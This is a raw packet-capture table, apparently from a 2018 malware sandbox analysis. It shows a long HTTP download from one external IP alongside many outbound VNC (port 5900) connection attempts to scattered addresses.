Oct 30, 2018 14:45:35.874183893 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.874239922 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.874253035 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.874306917 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.874325037 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.874366999 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.874414921 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.874454975 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.874469042 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.874497890 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.874526978 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.874555111 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.874583006 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.874584913 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.874612093 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.874639988 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.874711990 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.892756939 CET	51704	5900	192.168.1.81	156.61.33.84
Oct 30, 2018 14:45:35.927890062 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.927961111 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.928064108 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.928163052 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.928220034 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.928248882 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.928478956 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.929050922 CET	51705	5900	192.168.1.81	138.69.20.125
Oct 30, 2018 14:45:35.929281950 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.929337978 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.929382086 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.929410934 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.929557085 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.930454016 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.930491924 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.930520058 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.930552959 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.930583954 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.930586100 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.930613995 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.930655956 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.930686951 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.930717945 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.930735111 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.930748940 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.930779934 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.930809975 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.930840015 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.930891037 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.931046009 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.959685087 CET	51706	5900	192.168.1.81	58.209.23.141
Oct 30, 2018 14:45:35.984158993 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.984200954 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.984232903 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.984267950 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.984302998 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.984510899 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.984553099 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.984586954 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.984667063 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.985816956 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.985865116 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.985912085 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.985933065 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.985975027 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.986008883 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.986071110 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.986116886 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.986119986 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.986150980 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.986202002 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.986232996 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.986263037 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.986267090 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.986293077 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.986324072 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.986354113 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.986397982 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.986601114 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.990581989 CET	51638	5900	192.168.1.81	66.85.39.23
Oct 30, 2018 14:45:35.990632057 CET	51639	5900	192.168.1.81	57.230.36.59
Oct 30, 2018 14:45:35.992436886 CET	51707	5900	192.168.1.81	52.106.212.10
Oct 30, 2018 14:45:35.994858027 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.022003889 CET	51708	5900	192.168.1.81	152.60.238.12
Oct 30, 2018 14:45:36.039747953 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.039805889 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.039844036 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.039875031 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.039880037 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.039994001 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.040026903 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.040150881 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.041589022 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.041630983 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.041672945 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.041723967 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.041754961 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.041754007 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.041805029 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.041836977 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.041863918 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.041894913 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.041929960 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.041933060 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.041956902 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.041989088 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.042026997 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.042057037 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.042087078 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.042136908 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.043133974 CET	51709	5900	192.168.1.81	142.186.74.57
Oct 30, 2018 14:45:36.043262005 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.074986935 CET	51710	5900	192.168.1.81	189.189.180.93
Oct 30, 2018 14:45:36.075516939 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.095596075 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.095668077 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.095700979 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.095731974 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.095762014 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.095781088 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.095792055 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.096303940 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.097279072 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.097316980 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.097349882 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.097381115 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.097400904 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.097412109 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.097441912 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.097472906 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.097502947 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.097532988 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.097563028 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.097593069 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.097604036 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.097623110 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.097654104 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.097683907 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.097763062 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.098388910 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.098479986 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.105875969 CET	51711	5900	192.168.1.81	50.120.241.202
Oct 30, 2018 14:45:36.116331100 CET	5900	51636	191.128.238.199	192.168.1.81
Oct 30, 2018 14:45:36.137151003 CET	51712	5900	192.168.1.81	131.9.226.69
Oct 30, 2018 14:45:36.151247978 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.151278973 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.151313066 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.151314974 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.151356936 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.151365995 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.151386976 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.151503086 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.153122902 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.153192043 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.153218985 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.153256893 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.153287888 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.153321028 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.153382063 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.153404951 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.153413057 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.153428078 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.153465033 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.153487921 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.153511047 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.153532982 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.153554916 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.153577089 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.153589964 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.153599977 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.153621912 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.153731108 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.170555115 CET	51713	5900	192.168.1.81	163.143.217.40
Oct 30, 2018 14:45:36.197432041 CET	51714	5900	192.168.1.81	39.10.86.235
Oct 30, 2018 14:45:36.209461927 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.209508896 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.209562063 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.209671021 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.209712029 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.209754944 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.209762096 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.209805012 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.209841013 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.209846973 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.209877014 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.209928989 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.209932089 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.209961891 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.209991932 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.209992886 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.210021019 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.210050106 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.210078955 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.210114002 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.210119963 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.210164070 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.210195065 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.210200071 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.210223913 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.210253000 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.210282087 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.210310936 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.210314035 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.210339069 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.210416079 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.228130102 CET	51715	5900	192.168.1.81	174.91.49.97
Oct 30, 2018 14:45:36.259265900 CET	51716	5900	192.168.1.81	49.189.253.38
Oct 30, 2018 14:45:36.266716003 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.266777992 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.266809940 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.266813040 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.266840935 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.266872883 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.266925097 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.266954899 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.266966105 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.266997099 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.267025948 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.267052889 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.267055035 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.267085075 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.267116070 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.267144918 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.267173052 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.267174006 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.267203093 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.267230988 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.267258883 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.267287016 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.267301083 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.267316103 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.267344952 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.267416954 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.271980047 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.272023916 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.272053003 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.272083044 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.272088051 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.272558928 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.290340900 CET	51717	5900	192.168.1.81	178.10.35.185
Oct 30, 2018 14:45:36.317698956 CET	55953	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:36.321935892 CET	51718	5900	192.168.1.81	173.22.104.63
Oct 30, 2018 14:45:36.322922945 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.323009014 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.323009968 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.323055029 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.323107958 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.323124886 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.323163033 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.323215961 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.323246002 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.323282003 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.323285103 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.323339939 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.323369980 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.323381901 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.323426008 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.323467016 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.323497057 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.323525906 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.323544979 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.323565960 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.323596001 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.323622942 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.323649883 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.323673010 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.323679924 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.323760033 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.328002930 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.328042984 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.328078985 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.328232050 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.328425884 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.328459978 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.328490019 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.328495979 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.328665018 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.330229044 CET	53	55953	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:36.352492094 CET	51719	5900	192.168.1.81	75.137.141.186
Oct 30, 2018 14:45:36.378901958 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.378956079 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.378974915 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.379012108 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.379055977 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.379086018 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.379095078 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.379132032 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.379179001 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.379208088 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.379214048 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.379237890 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.379266977 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.379348993 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.379477978 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.379509926 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.379528046 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.379542112 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.379614115 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.379618883 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.379643917 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.379673958 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.379703045 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.379731894 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.379736900 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.379761934 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.379838943 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.383405924 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.383466959 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.383496046 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.383536100 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.384059906 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.384099960 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.384224892 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.405514956 CET	51720	5900	192.168.1.81	35.115.153.227
Oct 30, 2018 14:45:36.434473991 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.434541941 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.434595108 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.434616089 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.434626102 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.434655905 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.434684992 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.434715986 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.434768915 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.434782982 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.434808969 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.434839964 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.434910059 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.434981108 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.435014963 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.435050011 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.435059071 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.435108900 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.435142040 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.435178995 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.435216904 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.435220957 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.435288906 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.435318947 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.435408115 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.438889980 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.438930035 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.439027071 CET	51559	80	192.168.1.81	92.63.197.48
